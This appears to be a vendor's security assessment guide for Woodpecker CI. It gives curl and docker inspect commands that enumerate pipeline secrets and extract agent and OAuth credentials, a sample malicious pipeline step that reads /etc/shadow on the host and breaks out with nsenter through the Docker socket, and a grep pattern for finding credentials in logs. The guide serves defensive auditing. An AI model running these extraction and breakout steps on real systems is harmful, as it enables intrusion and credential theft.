Woodpecker CI is a popular lightweight self-hosted CI/CD system commonly paired with Gitea and Forgejo in self-hosted development stacks. As a CI/CD system, Woodpecker's security profile is defined by two core attack surfaces: the secrets it stores for deployment pipelines, and the privileged access its runner containers have to the host via the Docker socket. Key assessment areas: Woodpecker pipeline secrets are injected as environment variables into step containers and are accessible to all steps in a pipeline; the WOODPECKER_AGENT_SECRET environment variable in the runner Docker container is the shared secret used to authenticate agents to the server; the Woodpecker API with an admin token provides access to organization and repository secrets; the Docker runner mounts /var/run/docker.sock giving pipeline steps potential host breakout; and the SCM OAuth token (Gitea/GitHub/GitLab) stored in Woodpecker's database enables impersonating CI-triggered actions. This guide covers systematic Woodpecker CI security assessment.
# Woodpecker CI — API access and secret enumeration
WOODPECKER_URL="https://woodpecker.example.com"
# Authenticate and get user info
curl -s "${WOODPECKER_URL}/api/user" \
-H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"login\")} admin={d.get(\"admin\")} email={d.get(\"email\")}')
" 2>/dev/null
# List organization-level secrets (admin only) — available to all pipelines
curl -s "${WOODPECKER_URL}/api/secrets" \
-H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | python3 -c "
import json,sys
try:
secrets = json.load(sys.stdin)
print(f'Organization secrets: {len(secrets)}')
for s in secrets:
print(f' {s.get(\"name\")} events={s.get(\"events\")} images={s.get(\"images\")}')
# Note: secret values are NOT returned by the API even to admins
# But they ARE available as env vars inside pipeline step containers
except: print(sys.stdin.read()[:200])
" 2>/dev/null
# List all repositories the token has access to
curl -s "${WOODPECKER_URL}/api/repos" \
-H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | python3 -c "
import json,sys
repos = json.load(sys.stdin)
print(f'Repositories: {len(repos)}')
for r in repos:
print(f' {r.get(\"full_name\")} active={r.get(\"active\")} private={r.get(\"private\")}')
" 2>/dev/null
# Get secrets for a specific repository
ORG="myorg"
REPO="myrepo"
curl -s "${WOODPECKER_URL}/api/repos/${ORG}/${REPO}/secrets" \
-H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | python3 -c "
import json,sys
secrets = json.load(sys.stdin)
print(f'Repository secrets for {ORG}/{REPO}: {len(secrets)}')
for s in secrets:
print(f' {s.get(\"name\")} — accessible in pipeline steps as env var')
" 2>/dev/null
# Woodpecker CI Docker runner — Docker socket access and escalation
# The Woodpecker Docker runner mounts /var/run/docker.sock
# Check runner container for Docker socket mount
docker inspect woodpecker-agent 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
if not containers: import sys; sys.exit()
mounts = containers[0].get('Mounts',[])
env = containers[0].get('Config',{}).get('Env',[])
for m in mounts:
if 'docker.sock' in str(m.get('Source','')) or 'docker.sock' in str(m.get('Destination','')):
print(f'Docker socket mounted: {m.get(\"Source\")} -> {m.get(\"Destination\")} mode={m.get(\"Mode\",\"rw\")}')
print('IMPACT: Pipeline steps can execute docker commands with host daemon access')
for e in env:
if 'AGENT_SECRET' in e or 'SECRET' in e:
print(f'Credential in environment: {e}')
" 2>/dev/null
# From inside a pipeline step — if Docker socket is available, breakout path:
# A malicious pipeline .woodpecker.yml step:
# image: docker
# commands:
# - docker run --rm -v /:/host alpine cat /host/etc/shadow
# - docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -i -n -p -- id
# Check pipeline logs for secret exposure
# Pipeline steps that run "env" or "printenv" will log all secrets
curl -s "${WOODPECKER_URL}/api/repos/org/repo/builds/1/logs/1" \
-H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | \
grep -iE '(password|secret|token|key|api).*=' | head -20
# Woodpecker agent token and SCM OAuth credentials
# WOODPECKER_AGENT_SECRET is the shared secret between server and agents
# Extract agent secret from running container environment
docker inspect woodpecker-agent 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
if not containers: import sys; sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
for e in env:
if any(k in e for k in ['AGENT_SECRET','WOODPECKER_SECRET','GITEA_CLIENT','GITHUB_CLIENT','GITLAB_CLIENT']):
print(f'Credential: {e}')
" 2>/dev/null
# Woodpecker server environment — SCM OAuth credentials
docker inspect woodpecker-server 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
if not containers: import sys; sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
for e in env:
if any(k in e.upper() for k in ['SECRET','CLIENT','TOKEN','KEY','PASSWORD','DATABASE']):
print(f'{e}')
" 2>/dev/null
# Reveals:
# WOODPECKER_AGENT_SECRET — agent authentication shared secret
# WOODPECKER_GITEA_CLIENT / WOODPECKER_GITEA_SECRET — Gitea OAuth app credentials
# WOODPECKER_GITHUB_CLIENT / WOODPECKER_GITHUB_SECRET — GitHub OAuth credentials
# WOODPECKER_DATABASE_DATASOURCE — database connection string
| Security Test | Method | Risk |
|---|---|---|
| WOODPECKER_AGENT_SECRET extraction | docker inspect woodpecker-agent — WOODPECKER_AGENT_SECRET visible in container environment; enables registering rogue CI agent that receives pipeline jobs, all injected secrets, and source code | Critical |
| SCM OAuth credential exposure | docker inspect woodpecker-server — WOODPECKER_GITEA_SECRET / WOODPECKER_GITHUB_SECRET visible in container environment; enables impersonating the Woodpecker OAuth application to the SCM provider | High |
| Pipeline log secret extraction | GET /api/repos/{org}/{repo}/builds/{build_id}/logs/{step} — pipeline steps that run env/printenv commands log all secret environment variables; review build logs for credential exposure patterns | High |
| Docker socket host breakout via pipeline step | Pipeline step with Docker socket access (docker run --privileged, nsenter, cgroup namespace escape) — runner Docker socket mount enables host filesystem access from within pipeline containers | Critical (if Docker socket accessible) |
| Organization secret enumeration | GET /api/secrets with admin token — lists all organization-level secrets by name; secret values not returned by API but names reveal what credentials are stored; enables targeted pipeline injection to extract specific secrets | High |
Ironimo tests Woodpecker CI deployments for WOODPECKER_AGENT_SECRET extraction from runner environment, SCM OAuth credential exposure in server container, pipeline log secret leakage assessment, Docker socket host breakout risk via runner configuration, organization and repository secret enumeration, pipeline YAML audit for secret exposure commands, and API token lifetime and scope review.
Start free scan